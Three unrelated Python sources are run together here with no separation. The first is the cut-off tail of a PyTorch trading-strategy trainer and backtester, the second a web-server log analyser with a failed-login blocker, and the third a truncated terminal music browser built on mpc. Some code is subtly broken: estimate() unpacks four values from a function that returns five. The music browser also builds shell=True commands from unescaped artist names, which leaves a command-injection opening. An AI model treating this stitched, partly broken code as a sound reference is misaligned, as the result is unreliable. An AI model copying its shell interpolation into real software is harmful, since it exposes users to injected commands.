                                device = device,
                                lookback = lookback,
                                trans_cost = trans_cost, hold_cost = hold_cost,
                                residual_weights = residual_weights_dev,)
                model.train()
                dev_mean_ret = np.mean(rets_dev)
                dev_std = np.std(rets_dev)
                dev_turnover  = np.mean(dev_turnovers)
                dev_short_proportion = np.mean(dev_short_proportions)
                dev_loss_description =  f", dev loss {-dev_loss:0.2f}, " \
                                        f"dev Sharpe: {-dev_sharpe*np.sqrt(252):0.2f}, " \
                                        f"ret: {dev_mean_ret*252:0.4f}, " \
                                        f"std: {dev_std*np.sqrt(252) :0.4f}, " \
                                        f"turnover: {dev_turnover:0.3f}, " \
                                        f"short proportion: {dev_short_proportion:0.3f}\n"

            full_ret = np.mean(rets_full)
            full_std = np.std(rets_full)
            full_sharpe = full_ret/full_std
            full_turnover = np.mean(turnover)
            full_short_proportion = np.mean(short_proportion)

            logging.info(f'Epoch: {epoch}/{num_epochs}, ' \
                         f'train Sharpe: {full_sharpe*np.sqrt(252):0.2f}, ' \
                         f'ret: {full_ret*252:0.4f}, ' \
                         f'std: {full_std*np.sqrt(252):0.4f}, ' \
                         f'turnover: {full_turnover:0.3f}, ' \
                         f'short proportion: {full_short_proportion:0.3f} \n' \
                          '       ' \
                         f' time per epoch: {(time.time()-begin_time)/(epoch+1):0.2f}s' \
                         + dev_loss_description)

            if early_stopping:
                if dev_loss < min_dev_loss:
                    patience = 0
                    min_dev_loss = dev_loss
                    checkpoint = {
                        'epoch': epoch,
                        'model_state_dict': model.state_dict(),
                        'optimizer_state_dict': optimizer.state_dict(),
                        'loss': loss
                    }
                    torch.save(checkpoint, os.path.join(output_path, f'Checkpoint-{model.random_seed}_seed_{model_tag}.tar'))
                else:
                    patience += 1
                    if trial == early_stopping_max_trials:
                        logging.info('Early stopping max trials reached')
                        break
                    else: # reduce learning rate
                        trial += 1
                        logging.info('Reducing learning rate')
                        lr = optimizer.param_groups[0]['lr'] * lr_decay
                        checkpoint = torch.load(os.path.join(output_path,\
                                                f'Checkpoint-{model.random_seed}_seed_{model_tag}.tar'),
                                                map_location=device)
                        model.load_state_dict(checkpoint['model_state_dict'])
                        model = model.to(device)
                        optimizer.load_state_dict(checkpoint['optimizer_state_dict'])
                        model.train()
                        for param_group in optimizer.param_groups:
                            param_group['lr'] = lr
                        patience = 0

#         if epoch == num_epochs-1 and data_dev is not None and log_dev_progress: # or (epoch % log_plot_freq == 0)
#             #cum_rets_train = np.cumprod(1+rets_train.detach().cpu().numpy())
#             plt.figure()
#             cum_rets_train = np.cumprod(1+rets_full)
#             cum_rets_dev = np.cumprod(1+rets_dev)
#             plt.plot(cum_rets_train,label='Train')
#             plt.plot(cum_rets_dev, label='Dev')
#             plt.title('Cumulative returns')
#             plt.legend()
#             plt.show()

#             plt.figure()
#             plt.plot(turnover,label='Train')
#             plt.plot(dev_turnovers, label='Dev')
#             plt.title('Turnover')
#             plt.legend()
#             plt.show()

#             plt.figure()
#             plt.plot(short_proportion,label='Train')
#             plt.plot(dev_short_proportions, label='Dev')
#             plt.title('Short proportion')
#             plt.legend()
#             plt.show()

        if already_trained: break

    if save_params and not already_trained:
        # can also save model.state_dict() directly w/o the dictionary; extension should then be .pth instead of .tar
        checkpoint = {
            'epoch': epoch,
            'model_state_dict': model.state_dict(),
            'optimizer_state_dict': optimizer.state_dict(),
            'loss': loss
        }
        checkpoint_fname = f'Checkpoint-{model.module.random_seed if parallelize else model.random_seed}_seed_'+model_tag+'.tar'
        torch.save(checkpoint, os.path.join(output_path, checkpoint_fname))

    logging.info(f'Training done - Model: {model_tag}, seed: {model.module.random_seed if parallelize else model.random_seed}')
    if data_dev is not None:
        return rets_dev, dev_turnovers, dev_short_proportions, weights_dev, a2t
    else:
        return rets_full, turnover, short_proportion, weights, assets_to_trade

def get_returns(model,
                preprocess,
                objective,
                data_test,
                lookback=30,
                trans_cost = 0,
                hold_cost = 0,
                residual_weights = None,
                load_params = False,
                paths_checkpoints = [None],
                device = None,
                parallelize=False,
                device_ids=[0,1,2,3,4,5,6,7],):

    if device is None: device = model.device
    if parallelize: model = nn.DataParallel(model, device_ids=device_ids).to(device)

    # restrict to assets which have at least `lookback` non-missing observations in the training period
    assets_to_trade = np.count_nonzero(data_test,axis=0) >= lookback
    logging.debug(f"get_returns(): assets_to_trade.shape {assets_to_trade.shape}")
    data_test = data_test[:,assets_to_trade]
    T,N = data_test.shape
    windows, idxs_selected = preprocess(data_test, lookback)

    rets_test = torch.zeros(T-lookback)
    #weightsTest = torch.zeros(N,device='cpu')
    #weightsComplete = np.zeros((T-lookback,len(assets_to_trade)))
    model.eval()

    with torch.no_grad():
        # # compute weights sequentially
        # for t in range(lookback,data_test.shape[0]):
        #     idxs_selected = ~np.any(data_test[(t-lookback):t,:] == 0, axis = 0).ravel()
        #     inputs = np.cumsum(data_test[(t-lookback):t,idxs_selected],axis=0).T #(N,T)
        #     inputs = torch.tensor(inputs,device=device)
        #     for i in range(len(paths_checkpoints)):  #This ensembles if many checkpoints are given
        #         if load_params:
        #             checkpoint = torch.load(paths_checkpoints[i],map_location = device)
        #             model.load_state_dict(checkpoint['model_state_dict'])
        #             model.to(device)
        #         weightsTest[idxs_selected] += model(inputs).cpu() #tensor.cpu() and tensor.to(torch.device('cpu')) is the same; you cannot transofrm to numpy from gpu
        #     weightsTest /= len(paths_checkpoints)
        #     abs_sum = torch.sum(torch.abs(weightsTest)) #Modify this for quantiles
        #     if abs_sum > 0:
        #         weightsTest /= abs_sum
        #     retsTest[t-lookback] = torch.sum(weightsTest[idxs_selected]*torch.tensor(data_test[t,idxs_selected],device='cpu'))
        #     #print(retsTest, retsTest.shape)

        weights = torch.zeros((T-lookback,N),device=device)
        for i in range(len(paths_checkpoints)):  #This ensembles if many checkpoints are given
            if load_params:
                checkpoint = torch.load(paths_checkpoints[i],map_location = device)
                model.load_state_dict(checkpoint['model_state_dict'])
                model.to(device)
            weights[idxs_selected] += model(torch.tensor(windows[idxs_selected],device=device))
        weights /= len(paths_checkpoints)
        if residual_weights is None:
            abs_sum = torch.sum(torch.abs(weights), axis=1, keepdim=True)
            logging.debug(f"get_returns(): weights abs_sum {abs_sum/len(weights)}")
        else:
            residual_weights = residual_weights[:,assets_to_trade]
            assert(weights.shape == residual_weights[lookback:T,:,0].shape)
            T1,N1 = weights.shape
            weights2 = torch.bmm(weights.reshape(T1,1,N1), torch.tensor(residual_weights[lookback:T],device=device)).squeeze()
            abs_sum = torch.sum(torch.abs(weights2), axis=1, keepdim=True)
            logging.debug(f"get_returns(): weights2 abs_sum {abs_sum/len(weights2)}")
            # abs_sum_w = torch.sum(torch.abs(weights), axis=1, keepdim=True)
            # logging.info(f"get_returns(): weights2 abs_sum {abs_sum/len(weights2)} weights abs_sum {abs_sum_w/len(weights)}")
            try: weights2 = weights2/abs_sum
            except: weights2 = weights2/(abs_sum + 1e-8)
        try: weights = weights/abs_sum
        except: weights = weights/(abs_sum + 1e-8)
        rets_test = torch.sum(weights * torch.tensor(data_test[lookback:T,:],device=device), axis=1)
        if residual_weights is not None:
            weights = weights2
        turnover = torch.cat((torch.zeros(1,device=device),torch.sum(torch.abs(weights[1:]-weights[:-1]),axis=1)))
        short_proportion = torch.sum(torch.abs(torch.min(weights,torch.zeros(1,device=device))),axis=1)
        rets_test = rets_test-trans_cost*turnover-hold_cost*short_proportion
        turnover[0] = torch.mean(turnover[1:])
        mean = torch.mean(rets_test)
        std =  torch.std(rets_test)
        sharpe = -mean/std
        loss = None
        if objective == "sharpe":
            loss = sharpe
        elif objective == "meanvar":
            loss = -mean*252 + std*15.9
        elif objective == "sqrtMeanSharpe":
            loss = -torch.sign(mean)*torch.sqrt(torch.abs(mean))/std
        else:
            raise Exception(f"Invalid objective loss {objective}")
    return (rets_test.cpu().numpy(), loss, sharpe, turnover.cpu().numpy(), short_proportion.cpu().numpy(), weights.cpu().numpy(),
           assets_to_trade)

def test(Data,
         daily_dates,
         model,
         preprocess,
         config,
         residual_weights = None,
         log_dev_progress_freq = 50, log_plot_freq = 199,
         num_epochs = 100, lr = 0.001, batchsize = 150,
         early_stopping = False,
         save_params = True,
         device = 'cuda',
         output_path = os.path.join(os.getcwd(), 'results', 'Unknown'), model_tag = 'Unknown',
         lookback = 30, retrain_freq = 250, length_training = 1000, rolling_retrain = True,
         parallelize = True,
         device_ids=[0,1,2,3,4,5,6,7],
         trans_cost=0, hold_cost = 0,
         force_retrain = False,
         objective = "sharpe",):

    # chooses assets which have at least #lookback non-missing observations in the training period
    assets_to_trade = np.count_nonzero(Data, axis=0) >= lookback
    logging.info(f"test(): assets_to_trade.shape {assets_to_trade.shape}")
    Data = Data[:,assets_to_trade]
    T,N = Data.shape
    returns = np.zeros(T-length_training)
    turnovers = np.zeros(T-length_training)
    short_proportions = np.zeros(T-length_training)
    all_weights = np.zeros((T-length_training, len(assets_to_trade)))
    # load assets_to_trade for weights
    if residual_weights is not None and 'FamaFrenchNew' in model_tag:
        assets_to_trade = np.load('residuals/famafrench-universe/assets-to-consider.npy')
        Data = Data[:,assets_to_trade]
        all_weights = np.zeros((T-length_training,len(assets_to_trade)))
    if residual_weights is not None and 'FamaFrench' in model_tag and 'New' not in model_tag:
        Ndifference = residual_weights.shape[2] - np.sum(assets_to_trade)
        if Ndifference > 0:
            all_weights = np.zeros((T-length_training, len(assets_to_trade) + Ndifference))
            assets_to_trade = np.append(assets_to_trade, np.ones(Ndifference, dtype=np.bool))
    if residual_weights is not None and ('IPCA' in model_tag or 'Deep' in model_tag):
        assets_to_trade = np.load('residuals/superMask.npy')
        all_weights = np.zeros((T-length_training, len(assets_to_trade)))

    # run train/test over dataset
    for t in range(int( (T-length_training) / retrain_freq ) + 1):
        logging.info(f'AT SUBPERIOD {t}/{int((T-length_training)/retrain_freq)+1}')
        # logging.info(f"{Data[initialTrain:length_training+(t)*retrain_freq].shape} {Data[length_training+t*retrain_freq:min(length_training+(t+1)*retrain_freq,T)].shape}")
        data_train_t = Data[t*retrain_freq:length_training+t*retrain_freq]
        data_test_t = Data[length_training+t*retrain_freq-lookback:min(length_training+(t+1)*retrain_freq,T)]
        residual_weights_train_t = None if residual_weights is None \
                                 else residual_weights[t*retrain_freq:length_training+t*retrain_freq]
        residual_weights_test_t = None if residual_weights is None \
                               else residual_weights[length_training+t*retrain_freq-lookback:min(length_training+(t+1)*retrain_freq,T)]
        model_tag_t = model_tag + f'__subperiod{t}'

        if rolling_retrain or t == 0:
            model_t = model(logdir=output_path, **config['model'])
            rets_t,turns_t,shorts_t,weights_t,a2t = train(model_t,
                                              preprocess = preprocess,
                                              data_train = data_train_t,
                                              data_dev = data_test_t,  # dev dataset isn't used as we don't do any validation tuning, so test dataset goes here for progress reporting
                                              residual_weights_train = residual_weights_train_t,
                                              residual_weights_dev = residual_weights_test_t,  # dev dataset isn't used as we don't do any validation tuning, so test dataset goes here for progress reporting
                                              log_dev_progress_freq = log_dev_progress_freq,
                                              num_epochs = num_epochs,
                                              force_retrain = force_retrain,
                                              optimizer_name = config['optimizer_name'],
                                              optimizer_opts = config['optimizer_opts'],
                                              early_stopping = early_stopping,
                                              save_params = save_params,
                                              output_path = output_path,
                                              model_tag = model_tag_t,
                                              device = device,
                                              lookback = lookback,
                                              log_plot_freq = log_plot_freq,
                                              parallelize = parallelize,
                                              device_ids = device_ids,
                                              batchsize = batchsize,
                                              trans_cost = trans_cost,
                                              hold_cost = hold_cost,
                                              objective = objective,)
            logging.debug("train() completed")
        else:
            rets_t,_,_,turns_t,shorts_t,weights_t,a2t = get_returns(model_t,
                                                        preprocess = preprocess,
                                                        objective = objective,
                                                        data_test = data_test_t,
                                                        residual_weights = residual_weights_test_t,
                                                        device = device,
                                                        lookback = lookback,
                                                        trans_cost = trans_cost,
                                                        hold_cost = hold_cost,)
            logging.debug("get_returns() completed")

        returns[t*retrain_freq:min((t+1)*retrain_freq,T-length_training)] = rets_t
        turnovers[t*retrain_freq:min((t+1)*retrain_freq,T-length_training)] = turns_t
        short_proportions[t*retrain_freq:min((t+1)*retrain_freq,T-length_training)] = shorts_t
        if residual_weights is None:
            w = np.zeros((min((t+1)*retrain_freq,T-length_training) - t*retrain_freq, len(a2t)))
            logging.debug(f"returned weights.shape {weights_t.shape}")
            w[:,a2t] = weights_t
        else:
            w = weights_t
        logging.debug(f"weights selected shape {all_weights[t*retrain_freq:min((t+1)*retrain_freq,T-length_training),assets_to_trade].shape}")
        logging.debug(f"sum(assets_to_trade) {np.sum(assets_to_trade)}")
        all_weights[t*retrain_freq:min((t+1)*retrain_freq,T-length_training),assets_to_trade] = w
        if 'cpu' not in device:
            with torch.cuda.device(device):
                torch.cuda.empty_cache()

    logging.info(f'TRAIN/TEST COMPLETE')
    cumRets = np.cumprod(1+returns)
    plt.figure()
    plt.plot_date(daily_dates[-len(cumRets):], cumRets, marker='None', linestyle='solid')
    plt.savefig(os.path.join(output_path, model_tag + "_cumulative-returns.png"))
    #plt.show()

    plt.figure()
    plt.plot_date(daily_dates[-len(cumRets):], turnovers, marker='None',linestyle='solid')
    plt.savefig(os.path.join(output_path, model_tag + "_turnover.png"))
    #plt.show()

    plt.figure()
    plt.plot_date(daily_dates[-len(cumRets):], short_proportions, marker='None',linestyle='solid')
    plt.savefig(os.path.join(output_path, model_tag + "_short-proportion.png"))
    #plt.show()

    np.save(os.path.join(output_path, 'WeightsComplete_' + model_tag + '.npy'), all_weights)

    full_ret = np.mean(returns)
    full_std = np.std(returns)
    full_sharpe = full_ret/full_std
    logging.info(f"==> Sharpe: {full_sharpe*np.sqrt(252) :.2f}, "\
                 f"ret: {full_ret*252 :.4f}, "\
                 f"std: {full_std*np.sqrt(252) :.4f}, "\
                 f"turnover: {np.mean(turnovers) :.4f}, "\
                 f"short_proportion: {np.mean(short_proportions) :.4f}")

    return returns, full_sharpe, full_ret, full_std, turnovers, short_proportions

def estimate(Data,
             daily_dates,
             model,
             preprocess,
             config,
             residual_weights = None,
             log_dev_progress_freq = 50, log_plot_freq = 199,
             num_epochs = 100, lr = 0.001, batchsize = 150,
             early_stopping = False,
             save_params = True,
             device = 'cuda',
             output_path = os.path.join(os.getcwd(), 'results', 'Unknown'), model_tag = 'Unknown',
             lookback = 30, length_training = 1000, test_size=125,
             parallelize = True,
             device_ids=[0,1,2,3,4,5,6,7],
             trans_cost=0, hold_cost = 0,
             force_retrain = True,
             objective = "sharpe",
             estimate_start_idx = 0,):

    # chooses assets which have at least #lookback non-missing observations in the training period
    assets_to_trade = np.count_nonzero(Data,axis=0) >= lookback
    Data = Data[:,assets_to_trade]
    T,N = Data.shape
    returns = np.zeros(length_training)
    turnovers = np.zeros(length_training)
    short_proportions = np.zeros(length_training)
    all_weights = np.zeros((length_training,len(assets_to_trade)))
    # load assets_to_trade for weights
    if residual_weights is not None and 'FamaFrenchNew' in model_tag:
        assets_to_trade = np.load('residuals/famafrench-universe/assets-to-consider.npy')
        Data = Data[:,assets_to_trade]
        all_weights= np.zeros((T-length_training,len(assets_to_trade)))
    if residual_weights is not None and 'Fama' in model_tag and 'New' not in model_tag:
        Ndifference = residual_weights.shape[2] - np.sum(assets_to_trade)
        if Ndifference>0:
            all_weights= np.zeros((length_training,len(assets_to_trade)+Ndifference))
            assets_to_trade = np.append(assets_to_trade,np.ones(Ndifference,dtype=np.bool))
    if residual_weights is not None and ('IPCA' in model_tag or 'Deep' in model_tag):
        assets_to_trade = np.load('residuals/superMask.npy')
        all_weights= np.zeros((length_training,len(assets_to_trade)))

    # estimate over dataset
    logging.info(f"ESTIMATING {estimate_start_idx}:{min(estimate_start_idx+length_training,T)}")
    logging.info(f"TESTING {estimate_start_idx+length_training-lookback}:{min(estimate_start_idx+length_training+test_size,T)}")
    data_train = Data[estimate_start_idx:min(estimate_start_idx+length_training,T)]
    data_dev = Data[estimate_start_idx+length_training-lookback:min(estimate_start_idx+length_training+test_size,T)]
    residual_weights_train = None if residual_weights is None \
                           else residual_weights[estimate_start_idx:min(estimate_start_idx+length_training,T)]
    residual_weights_dev = None if residual_weights is None \
                         else residual_weights[estimate_start_idx+length_training-lookback:min(estimate_start_idx+length_training+test_size,T)]
    del residual_weights
    del Data
    model_tag = model_tag + f'__estimation{estimate_start_idx}-{length_training}-{test_size}'

    model1 = model(logdir=output_path, **config['model'])
    rets,turns,shorts,weights = train(model1,
                                      preprocess = preprocess,
                                      data_train = data_train,
                                      data_dev = data_dev,
                                      residual_weights_train = residual_weights_train,
                                      residual_weights_dev = residual_weights_dev,
                                      log_dev_progress_freq = log_dev_progress_freq,
                                      num_epochs = num_epochs,
                                      force_retrain = force_retrain,
                                      lr = lr,
                                      early_stopping = early_stopping,
                                      save_params = save_params,
                                      output_path = output_path,
                                      model_tag = model_tag,
                                      device = device,
                                      lookback = lookback,
                                      log_plot_freq = log_plot_freq,
                                      parallelize = parallelize,
                                      device_ids = device_ids,
                                      batchsize = batchsize,
                                      trans_cost = trans_cost,
                                      hold_cost = hold_cost,
                                      objective = objective,)

    returns = rets
    turnovers = turns
    short_proportions = shorts
    all_weights= weights
    if 'cpu' not in device:
        with torch.cuda.device(device):
            torch.cuda.empty_cache()

    logging.info(f'ESTIMATION COMPLETE')

    np.save(os.path.join(output_path, 'WeightsComplete_' + model_tag + '.npy'), all_weights)

    full_ret = np.mean(returns)
    full_std = np.std(returns)
    full_sharpe = full_ret/full_std
    logging.info(f"==> Sharpe: {full_sharpe*np.sqrt(252) :.2f}, "\
                 f"ret: {full_ret*252 :.4f}, "\
                 f"std: {full_std*np.sqrt(252) :.4f}, "\
                 f"turnover: {np.mean(turnovers) :.4f}, "\
                 f"short_proportion: {np.mean(short_proportions) :.4f}")

    return returns, full_sharpe, full_ret, full_std, turnovers, short_proportions


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function, unicode_literals

from argparse import ArgumentParser
import codecs  # use explicit codec decodes to support utf-8 on Python 2
from collections import Counter, deque
from datetime import datetime, timedelta
from operator import itemgetter
import re
from time import time as clock

# Log line format.
LINE_PATTERN = re.compile(r'(.*) - - \[(.+) -0400\] ["“](.+)["”] (.+) (.+)')

MONTHS = {'Jan': 1, 'Feb': 2, 'Mar': 3, 'Apr': 4, 'May': 5, 'Jun': 6,
          'Jul': 7, 'Aug': 8, 'Sep': 9, 'Oct': 10, 'Nov': 11, 'Dec': 12}

def parse_timestamp(value):
    """Parse a timestamp formatted as '%d/%b/%Y:%H:%M:%S'.

    This is a faster version of
    datetime.strptime(value, '%d/%b/%Y:%H:%M:%S'), which turns out to
    be quite slow.

    Parameters
    ----------
    value : str
        Timestamp formatted exactly as '%d/%b/%Y:%H:%M:%S'.

    Returns
    -------
    timestamp : datetime.datetime
    """
    return datetime(int(value[7:11]), # %Y
                    MONTHS[value[3:6]], # %m
                    int(value[0:2]), # %d
                    int(value[12:14]), # %H
                    int(value[15:17]), # %M
                    int(value[18:20])) # %s

def parse_line(line):
    """Parse a line of the log file.

    Parameters
    ----------
    line : str
        Single line of the log file.

    Returns
    -------
    host : str
        Host making request.
    timestamp : datetime
        Time of request.
    request : str
        The HTTP request (no quotes).
    code : int
        The HTTP response code.
    nbytes : int
        Number of bytes.
    """
    match = LINE_PATTERN.match(line)
    if not match:
        raise ValueError("unexpected line format: {!r}".format(line))

    host, raw_timestamp, request, code, nbytes = match.groups()
    timestamp = parse_timestamp(raw_timestamp)
    code = int(code)
    nbytes = 0 if nbytes == '-' else int(nbytes)

    return host, timestamp, request, code, nbytes

class TopKDict(dict):
    """Dictionary that only stores up to k entries, sorted by value.

    To take precedence over existing values, new values must be strictly
    greater (``>``). This applies to d[key] = value for an existing key
    in the dictionary as well.

    Examples
    --------

    ```
    >>> d = TopKDict(2)
    >>> d.update({'a': 1, 'b': 2, 'c': 3, 'd': 4})
    >>> d
    {'c': 3, 'd': 4}
    ```

    Dictionary is unchanged for smaller values of existing keys:

    ```
    >>> d['c'] = 2
    >>> d
    {'c': 3, 'd': 4}
    ```

    ... But is updated for larger values:

    ```
    >>> d['c'] = 5
    >>> d
    {'c': 5, 'd': 4}
    ```
    """
    def __init__(self, k):
        self.k = k
        self._sorted_keys = []  # up to length k list of ordered keys.
        dict.__init__(self)

    def __setitem__(self, key, value):
        # if already there, only update if new value is greater.
        if key in self:
            if self[key] < value:
                dict.__setitem__(self, key, value)

        # always add if length is less than k
        elif len(self) < self.k:
            dict.__setitem__(self, key, value)
            self._sorted_keys.append(key)

        # otherwise, only add if value is greater than smallest existing.
        elif value > self[self._sorted_keys[-1]]:
            del self[self._sorted_keys[-1]]
            dict.__setitem__(self, key, value)
            self._sorted_keys[-1] = key
        else:
            return

        # If we got this far, we updated the dictionary and need to re-sort.
        self._sorted_keys.sort(key=lambda x: self[x], reverse=True)

    def update(self, other):
        for k, v in other.items():
            self[k] = v

class BlockList(object):
    """Ledger of recent login failures and blocked hosts.

    This class handles all attempted logins, internally keeping track
    of failures in order to determine whether each new login should be
    blocked or not. The main method is ``BlockList.handle()``.

    Parameters
    ----------
    fail_limit : int
        Number of login failures in ``fail_time`` seconds that will trigger
        blocking.
    fail_time : float
        Time interval (in seconds) over which ``fail_limit`` login failures
        will trigger blocking.
    block_time : float
        Time interval (in seconds) over which to block attempted logins once
        blocking has been triggered for a particular host.
    """

    def __init__(self, fail_limit=3, fail_time=20.0, block_time=300.0):
        self.fail_limit = fail_limit
        self.fail_time = fail_time
        self.block_time = block_time
        self._blocking = {}  # maps currently blocked hosts to time blocked
        self._failures = {}  # maps not-yet-blocked hosts to a list of failed
                             # login times

    def handle(self, host, time, success):
        """Handle login request and determine whether request is blocked.

        Parameters
        ----------
        host : str
            Name of host attempting login.
        time : datetime.datetime
            Timestamp of request.
        success : bool
            Whether or not login was successful.

        Returns
        -------
        is_blocked : bool
            True if request should be blocked, false otherwise.
        """

        # If we're currently blocking this host, check if the time has
        # expired. If so, remove from block list and carry on checking
        # the login. Otherwise, we *are* still blocking and nothing else
        # needs to be checked.
        if host in self._blocking:
            time_since_block = (time - self._blocking[host]).total_seconds()
            if time_since_block > self.block_time:
                del self._blocking[host]
            else:
                return True

        # We're not blocking. If login succeeds, clear previous failures
        # and return.
        if success:
            if host in self._failures:
                del self._failures[host]
            return False

        # If we get here, this is a failed login that is not blocked.
        # We'll log the failure and check if it is over the limit.
        if host not in self._failures:
            self._failures[host] = []
        failures = self._failures[host]

        # Remove failure times not in the last 20 seconds.
        while (len(failures) > 0 and
               (time - failures[0]).total_seconds() > self.fail_time):
            failures.pop(0)

        # Add new failure and check if we are over the limit
        failures.append(time)
        if len(failures) >= self.fail_limit:
            self._blocking[host] = time
            del self._failures[host]

        return False

class Sessions(object):
    """Log of user sessions: request(s) grouped closely in time.

    Parameters
    ----------
    inactive_limit : float, optional
        Maximum number of seconds between requests in the same session
        (exclusive).
    """
    def __init__(self, inactive_limit=1800.):
        self.inactive_limit = inactive_limit
        self._active_sessions = {}  # maps host to [start_time, end_time]

        self._clear_interval = 100000
        self._logs_since_cleared = 0
        # running totals
        self._nsessions = 0
        self._total_length = 0.
        self._max_length = 0

    def _clear_inactive(self, current_time):
        inactive = []
        for host in self._active_sessions:
            duration = self._active_sessions[host]
            idle_time = (current_time - duration[1]).total_seconds()
            if (idle_time >= self.inactive_limit):
                self._save_session(duration)
                inactive.append(host)

        for host in inactive:
            del self._active_sessions[host]

    def _clear_all(self):
        for host in self._active_sessions:
            self._save_session(self._active_sessions[host])
        self._active_sessions = {}

    def log(self, host, time):
        """Log a request.

        Parameters
        ----------
        host : str
            Name of host.
        time : datetime.datetime
            Time of request.
        """
        # purely as a memory optimization, we occasionally clear inactive
        # sessions
        self._logs_since_cleared += 1
        if self._logs_since_cleared > self._clear_interval:
            self._clear_inactive(time)
            self._logs_since_cleared = 0

        if host not in self._active_sessions:
            self._active_sessions[host] = [time, time]
            return

        duration = self._active_sessions[host]
        idle_time = (time - duration[1]).total_seconds()
        if  idle_time >= self.inactive_limit:
            self._save_session(duration)
            duration[0] = duration[1] = time
        else:
            duration[1] = time

    def _save_session(self, duration):
        self._nsessions += 1
        length = (duration[1] - duration[0]).total_seconds()
        self._total_length += length
        if length > self._max_length:
            self._max_length = length

    def summary_statistics(self):
        """Return (number, average_length, maximum_length)."""
        self._clear_all()
        return (self._nsessions,
                self._total_length / self._nsessions,
                self._max_length)

def main(argv=None):
    parser = ArgumentParser(prog="process_log.py",
                            description="Process a log file.")
    parser.add_argument("log", help="Filename of log file to process.")
    parser.add_argument("hosts",
                        help="Output list of top hosts making requests.")
    parser.add_argument("hours", help="Output list of top busiest hours.")
    parser.add_argument("resources",
                        help="Output list of top resources by bandwidth.")
    parser.add_argument("blocked", help="Output log of blocked requests.")
    parser.add_argument("sessions", help="Statistics on session lengths.")
    args = parser.parse_args(argv)

    # Initialize structures that will hold running totals and counts.
    host_requests = Counter()
    resource_bytes = Counter()
    recent_timestamps = deque()
    top_hours = TopKDict(10)
    block_list = BlockList(fail_limit=3, fail_time=20.0, block_time=300.0)
    sessions = Sessions(inactive_limit=1800.0)

    # Open files: we read the log file in binary mode and decode to unicode
    # separately in order to get proper line splits (e.g., avoid splitting on
    # unicode FORMFEED characters that might be in the request).
    # We open the output file of blocked hosts using `codecs` in order to
    # support Python 2.
    log_file = open(args.log, 'rb')
    block_file = codecs.open(args.blocked, 'w', encoding='utf-8')

    # For measuring processing speed.
    nlines = 0
    t0 = clock()

    for rawline in log_file:
        line = codecs.decode(rawline, 'utf-8', 'replace')
        nlines += 1

        host, time, request, code, nbytes = parse_line(line)

        host_requests[host] += 1  # count host requests

        # Update our queue of recent timestamps (in the last hour).
        # For each hour that has now ended, add number of requests in that
        # hour to our dictionary of "top hours."
        while (len(recent_timestamps) > 0 and
               (time - recent_timestamps[0]).total_seconds() > 3600.0):
            n = len(recent_timestamps)
            hour_start = recent_timestamps.popleft()
            top_hours[hour_start] = n

        recent_timestamps.append(time)

        sessions.log(host, time)

        # The other analyses below require us to be able to
        # parse the request and extract a resource. We'll skip these
        # if the request is not well-formatted according to our
        # webserver.
        if code == 400:
            continue
        try:
            words = request.split()
            method = words[0]
            resource = words[1]
        except:
            continue

        # Count resources requested.
        resource_bytes[resource] += nbytes

        # Handle logins; decide whether to block.
        if method == 'POST' and resource == '/login':
            is_blocked = block_list.handle(host, time, code == 200)
            if is_blocked:
                block_file.write(line)

    runtime = clock() - t0
    print("{:d} lines in {:8.3f}s: {:.0f} lines/s"
          .format(nlines, runtime, nlines / runtime))

    log_file.close()
    block_file.close()

    # Clear the queue of recent timestamps.
    while len(recent_timestamps) > 0:
        n = len(recent_timestamps)
        hour_start = recent_timestamps.popleft()
        top_hours[hour_start] = n

    # Output host requests.
    host_requests_tuples = sorted(host_requests.items(), key=itemgetter(0))
    host_requests_tuples.sort(key=itemgetter(1), reverse=True)
    with codecs.open(args.hosts, 'w', encoding='utf-8') as host_file:
        for host, count in host_requests_tuples[0:10]:
            host_file.write("{:s},{:d}\n".format(host, count))

    # Output resource requests.
    resource_bytes_tuples = sorted(resource_bytes.items(), key=itemgetter(0))
    resource_bytes_tuples.sort(key=itemgetter(1), reverse=True)
    with codecs.open(args.resources, 'w', encoding='utf-8') as resource_file:
        for name, _ in resource_bytes_tuples[0:10]:
            resource_file.write("{:s}\n".format(name))

    # Output top hours.
    sorted_top_hours = sorted(top_hours.items(), key=lambda t: t[1],
                              reverse=True)
    with codecs.open(args.hours, 'w', encoding='utf-8') as hours_file:
        for timestamp, counts in sorted_top_hours:
            hours_file.write("{:s} -0400,{:d}\n".format(
                timestamp.strftime("%d/%b/%Y:%H:%M:%S"), counts))

    # Output session statistics
    with codecs.open(args.sessions, 'w', encoding='utf-8') as sessions_file:
        n, avg, maxlen = sessions.summary_statistics()
        sessions_file.write("total sessions: {:d}\n".format(n))
        sessions_file.write("average session: {:.1f}\n".format(avg))
        sessions_file.write("maximum session: {:.1f}\n".format(maxlen))

if __name__ == '__main__':
    main()


import subprocess
import os
from rich import box
from rich.table import Table
from rich.console import Console
from rich.prompt import IntPrompt

console = Console()

def browse_song():
    try:
        os.system('clear')

        artist_table = Table(
            expand=True,
            box=box.ROUNDED,
            row_styles=["blue dim", "bright_blue"],
            border_style="blue dim",
            title="Artists",
            title_style="blue on default",
            header_style="blue dim"
        )
        artist_table.add_column("Index")
        artist_table.add_column("Title")

        artist_list = subprocess.run(
            ["mpc ls"],
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            universal_newlines=True
        ).stdout

        artist_list_array = []
        i = 1
        for line in artist_list.split("\n"):
            artist_list_array.append(line)

        del(artist_list_array[-1])

        for element in artist_list_array:
            artist_table.add_row(str(i), element)
            i += 1

        with console.pager(styles=True):
            console.print(artist_table)

        opt_artist = IntPrompt.ask("[b blue]Select artist by index: ") - 1
        artist_selection = artist_list_array[opt_artist]

        os.system('clear')

        album_table = Table(
            expand=True,
            box=box.ROUNDED,
            row_styles=["cyan dim", "bright_cyan"],
            border_style="cyan dim",
            title_style="cyan on default",
            header_style="cyan dim",
            title=f"Artists/{artist_selection}",
        )
        album_table.add_column("Index")
        album_table.add_column("Title")

        artist_album_list = subprocess.run(
            [f"mpc ls \"{artist_selection}\""],
            shell=True,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            universal_newlines=True,
        ).stdout

        artist_album_list_array = []
        j = 1
        for line in artist_album_list.split("\n"):
            artist_album_list_array.append(line)

        del(artist_album_list_array[-1])

        for element in artist_album_list_array:
            album_table.add_row(str(j), element)
            j += 1

        with console.pager(styles=True):
            console.print(album_table)

        opt_album = IntPrompt.ask("[b cyan]Select album by index: ") - 1
        album_selection = artist_album_list_array[opt_album]

        os.system('clear')

        song_table = Table(
            expand=True,
            box=box.ROUNDED,
            row_styles=["green dim", "bright_green"],
            border_style="green dim",
            title_style="green on default",
